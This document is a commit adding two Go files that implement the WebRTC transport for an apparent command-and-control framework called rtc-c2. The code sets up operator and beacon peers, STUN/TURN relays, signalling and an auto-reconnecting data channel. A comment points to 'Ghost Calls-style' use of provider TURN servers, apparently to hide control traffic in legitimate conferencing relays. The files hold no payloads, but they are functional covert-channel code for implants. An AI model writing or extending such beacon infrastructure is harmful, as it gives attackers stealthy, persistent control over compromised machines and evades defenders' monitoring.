Upload files to "rtc-c2/pkg/transport"

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2026-06-10 17:20:02 +00:00
parent fff1d686c1
commit 4568bfa5c3
2 changed files with 530 additions and 0 deletions
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// Package transport provides WebRTC-based transport for the rtc-c2 framework.
// It wraps Pion WebRTC to manage peer connections, data channels, and ICE/TURN connectivity.
package transport
import (
"crypto/rand"
"encoding/hex"
"fmt"
"time"
)
// Role indicates whether this instance creates the offer (Operator) or answers (Beacon).
type Role int
const (
RoleOperator Role = iota
RoleBeacon
)
func (r Role) String() string {
switch r {
case RoleOperator:
return "operator"
case RoleBeacon:
return "beacon"
default:
return "unknown"
}
}
// ICEServerConfig defines a STUN or TURN server for NAT traversal.
type ICEServerConfig struct {
URLs []string `json:"urls"`
Username string `json:"username,omitempty"`
Credential string `json:"credential,omitempty"`
}
// Config holds all transport layer configuration.
type Config struct {
// Role of this peer (operator or beacon)
Role Role `json:"role"`
// ICE servers for NAT traversal
ICEServers []ICEServerConfig `json:"ice_servers"`
// Data channel configuration
DataChannelName string `json:"data_channel_name"`
// WebRTC settings
Mtu int `json:"mtu"`
ReconnectDelay time.Duration `json:"reconnect_delay"`
MaxReconnectRetries int `json:"max_reconnect_retries"`
// Peer ID — unique identifier for this instance
PeerID string `json:"peer_id"`
}
// DefaultConfig returns a sensible default configuration.
// Uses Google's public STUN servers by default; TURN can be added.
func DefaultConfig(role Role) *Config {
peerID := generatePeerID()
return &Config{
Role: role,
ICEServers: []ICEServerConfig{
{
URLs: []string{
"stun:stun.l.google.com:19302",
"stun:stun1.l.google.com:19302",
},
},
},
DataChannelName: "rtc-c2-channel",
Mtu: 1500,
ReconnectDelay: 5 * time.Second,
MaxReconnectRetries: 10,
PeerID: peerID,
}
}
// WithTURN adds TURN relay servers to the configuration.
// For development, use coturn. For Ghost Calls-style operation, use provider TURN.
func (c *Config) WithTURN(urls []string, username, credential string) *Config {
c.ICEServers = append(c.ICEServers, ICEServerConfig{
URLs: urls,
Username: username,
Credential: credential,
})
return c
}
// WithAdditionalSTUN adds STUN servers.
func (c *Config) WithAdditionalSTUN(urls ...string) *Config {
c.ICEServers = append(c.ICEServers, ICEServerConfig{URLs: urls})
return c
}
func generatePeerID() string {
b := make([]byte, 8)
if _, err := rand.Read(b); err != nil {
return fmt.Sprintf("peer-%d", time.Now().UnixNano())
}
return hex.EncodeToString(b)
}
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package transport
import (
"context"
"fmt"
"io"
"log"
"sync"
"time"
"github.com/pion/webrtc/v4"
)
// PeerState describes the current connection state.
type PeerState int
const (
StateDisconnected PeerState = iota
StateConnecting
StateConnected
StateFailed
)
func (s PeerState) String() string {
switch s {
case StateDisconnected:
return "disconnected"
case StateConnecting:
return "connecting"
case StateConnected:
return "connected"
case StateFailed:
return "failed"
default:
return "unknown"
}
}
// PeerEvent is emitted when the peer connection state changes.
type PeerEvent struct {
State PeerState
Err error
}
// Peer wraps a Pion RTCPeerConnection and provides a high-level interface
// for creating and managing WebRTC data channels with automatic reconnection.
type Peer struct {
mu sync.RWMutex
config *Config
pc *webrtc.PeerConnection
dc *webrtc.DataChannel
state PeerState
stopCh chan struct{}
doneCh chan struct{}
// Callbacks
onStateChange func(PeerEvent)
onMessage func([]byte)
onError func(error)
// Reconnection
reconnectCount int
// SDP signalling hooks
// OnLocalDescription is called when an SDP offer/answer is ready to send.
OnLocalDescription func(sdp webrtc.SessionDescription) error
// RemoteDescriptionChan receives SDP answers/offers from the remote peer.
RemoteDescriptionChan chan webrtc.SessionDescription
}
// NewPeer creates a new WebRTC peer.
func NewPeer(cfg *Config) (*Peer, error) {
if cfg == nil {
cfg = DefaultConfig(RoleBeacon)
}
p := &Peer{
config: cfg,
state: StateDisconnected,
stopCh: make(chan struct{}),
doneCh: make(chan struct{}),
RemoteDescriptionChan: make(chan webrtc.SessionDescription, 16),
}
return p, nil
}
// OnStateChange registers a callback for connection state changes.
func (p *Peer) OnStateChange(fn func(PeerEvent)) {
p.mu.Lock()
defer p.mu.Unlock()
p.onStateChange = fn
}
// OnMessage registers a callback for incoming data channel messages.
func (p *Peer) OnMessage(fn func([]byte)) {
p.mu.Lock()
defer p.mu.Unlock()
p.onMessage = fn
}
// OnError registers a callback for errors.
func (p *Peer) OnError(fn func(error)) {
p.mu.Lock()
defer p.mu.Unlock()
p.onError = fn
}
// Connect initiates the WebRTC connection.
// For the operator role, it creates an offer.
// For the beacon role, it waits for a remote offer.
func (p *Peer) Connect(ctx context.Context) error {
p.mu.Lock()
if p.state == StateConnected {
p.mu.Unlock()
return fmt.Errorf("peer: already connected")
}
p.state = StateConnecting
p.mu.Unlock()
p.emitState(StateConnecting, nil)
if err := p.createPeerConnection(); err != nil {
p.emitState(StateFailed, err)
return fmt.Errorf("peer: create pc: %w", err)
}
// Create data channel (operator initiates)
if p.config.Role == RoleOperator {
if err := p.createDataChannel(); err != nil {
return fmt.Errorf("peer: create dc: %w", err)
}
// Create and send offer
offer, err := p.pc.CreateOffer(nil)
if err != nil {
return fmt.Errorf("peer: create offer: %w", err)
}
if err := p.pc.SetLocalDescription(offer); err != nil {
return fmt.Errorf("peer: set local desc: %w", err)
}
// Signal the offer to the remote peer
if p.OnLocalDescription != nil {
if err := p.OnLocalDescription(offer); err != nil {
return fmt.Errorf("peer: signal offer: %w", err)
}
}
}
go p.connectionLoop(ctx)
return nil
}
// Send sends data over the data channel.
func (p *Peer) Send(data []byte) error {
p.mu.RLock()
dc := p.dc
p.mu.RUnlock()
if dc == nil {
return fmt.Errorf("peer: data channel not ready")
}
return dc.Send(data)
}
// Close terminates the peer connection.
func (p *Peer) Close() error {
p.mu.Lock()
defer p.mu.Unlock()
select {
case <-p.stopCh:
return nil
default:
close(p.stopCh)
}
if p.pc != nil {
return p.pc.Close()
}
return nil
}
// Done returns a channel that closes when the peer is fully shut down.
func (p *Peer) Done() <-chan struct{} {
return p.doneCh
}
// Config returns the peer's configuration.
func (p *Peer) Config() *Config {
p.mu.RLock()
defer p.mu.RUnlock()
return p.config
}
// State returns the current peer state.
func (p *Peer) State() PeerState {
p.mu.RLock()
defer p.mu.RUnlock()
return p.state
}
// createPeerConnection sets up the underlying RTCPeerConnection.
func (p *Peer) createPeerConnection() error {
p.mu.Lock()
defer p.mu.Unlock()
settings := webrtc.SettingEngine{}
settings.DetachDataChannels()
api := webrtc.NewAPI(webrtc.WithSettingEngine(settings))
iceServers := make([]webrtc.ICEServer, len(p.config.ICEServers))
for i, s := range p.config.ICEServers {
iceServers[i] = webrtc.ICEServer{
URLs: s.URLs,
Username: s.Username,
Credential: s.Credential,
}
}
config := webrtc.Configuration{
ICEServers: iceServers,
ICETransportPolicy: webrtc.ICETransportPolicyAll,
}
pc, err := api.NewPeerConnection(config)
if err != nil {
return fmt.Errorf("new pc: %w", err)
}
// Handle ICE connection state changes
pc.OnICEConnectionStateChange(func(state webrtc.ICEConnectionState) {
log.Printf("[transport] ICE state: %s", state)
switch state {
case webrtc.ICEConnectionStateConnected:
p.emitState(StateConnected, nil)
p.mu.Lock()
p.reconnectCount = 0
p.mu.Unlock()
case webrtc.ICEConnectionStateDisconnected:
p.emitState(StateDisconnected, nil)
case webrtc.ICEConnectionStateFailed:
p.emitState(StateFailed, fmt.Errorf("ICE failed"))
}
})
// Handle data channels initiated by the remote peer (beacon side)
if p.config.Role == RoleBeacon {
pc.OnDataChannel(func(dc *webrtc.DataChannel) {
log.Printf("[transport] received remote data channel: %s", dc.Label())
p.handleDataChannel(dc)
})
}
p.pc = pc
return nil
}
// createDataChannel creates the data channel (operator side).
func (p *Peer) createDataChannel() error {
p.mu.Lock()
defer p.mu.Unlock()
dc, err := p.pc.CreateDataChannel(p.config.DataChannelName, &webrtc.DataChannelInit{
Ordered: boolPtr(true),
})
if err != nil {
return fmt.Errorf("create dc: %w", err)
}
p.handleDataChannel(dc)
return nil
}
// handleDataChannel sets up the data channel callbacks.
func (p *Peer) handleDataChannel(dc *webrtc.DataChannel) {
p.mu.Lock()
p.dc = dc
p.mu.Unlock()
dc.OnOpen(func() {
log.Printf("[transport] data channel '%s' opened", dc.Label())
})
dc.OnClose(func() {
log.Printf("[transport] data channel '%s' closed", dc.Label())
})
dc.OnMessage(func(msg webrtc.DataChannelMessage) {
p.mu.RLock()
cb := p.onMessage
p.mu.RUnlock()
if cb != nil {
cb(msg.Data)
}
})
}
// connectionLoop handles the main event loop including reconnection.
func (p *Peer) connectionLoop(ctx context.Context) {
defer close(p.doneCh)
for {
select {
case <-ctx.Done():
p.Close()
return
case <-p.stopCh:
return
case remoteDesc := <-p.RemoteDescriptionChan:
if err := p.pc.SetRemoteDescription(remoteDesc); err != nil {
log.Printf("[transport] set remote desc error: %v", err)
p.emitState(StateFailed, err)
return
}
// If we're the beacon, we need to create an answer
if p.config.Role == RoleBeacon {
answer, err := p.pc.CreateAnswer(nil)
if err != nil {
log.Printf("[transport] create answer error: %v", err)
return
}
if err := p.pc.SetLocalDescription(answer); err != nil {
log.Printf("[transport] set local desc error: %v", err)
return
}
if p.OnLocalDescription != nil {
if err := p.OnLocalDescription(answer); err != nil {
log.Printf("[transport] signal answer error: %v", err)
}
}
}
case <-p.reconnectTimer():
p.mu.RLock()
count := p.reconnectCount
maxRetries := p.config.MaxReconnectRetries
p.mu.RUnlock()
if count >= maxRetries {
p.emitState(StateFailed, fmt.Errorf("max reconnection retries exceeded"))
return
}
if p.state == StateDisconnected || p.state == StateFailed {
log.Printf("[transport] attempting reconnect #%d", count+1)
p.mu.Lock()
p.reconnectCount++
p.mu.Unlock()
p.reconnect()
}
}
}
}
func (p *Peer) reconnectTimer() <-chan time.Time {
p.mu.RLock()
delay := p.config.ReconnectDelay
p.mu.RUnlock()
return time.After(delay)
}
func (p *Peer) reconnect() {
_ = p.pc.Close()
p.mu.Lock()
p.pc = nil
p.dc = nil
p.mu.Unlock()
p.emitState(StateConnecting, nil)
if err := p.createPeerConnection(); err != nil {
log.Printf("[transport] reconnect create pc error: %v", err)
p.emitState(StateFailed, err)
return
}
if p.config.Role == RoleOperator {
if err := p.createDataChannel(); err != nil {
log.Printf("[transport] reconnect create dc error: %v", err)
return
}
offer, err := p.pc.CreateOffer(nil)
if err != nil {
log.Printf("[transport] reconnect create offer error: %v", err)
return
}
if err := p.pc.SetLocalDescription(offer); err != nil {
log.Printf("[transport] reconnect set local error: %v", err)
return
}
if p.OnLocalDescription != nil {
_ = p.OnLocalDescription(offer)
}
}
}
func (p *Peer) emitState(state PeerState, err error) {
p.mu.Lock()
p.state = state
cb := p.onStateChange
p.mu.Unlock()
if cb != nil {
cb(PeerEvent{State: state, Err: err})
}
}
// Ensure io.Closer interface
var _ io.Closer = (*Peer)(nil)
func boolPtr(b bool) *bool {
return &b
}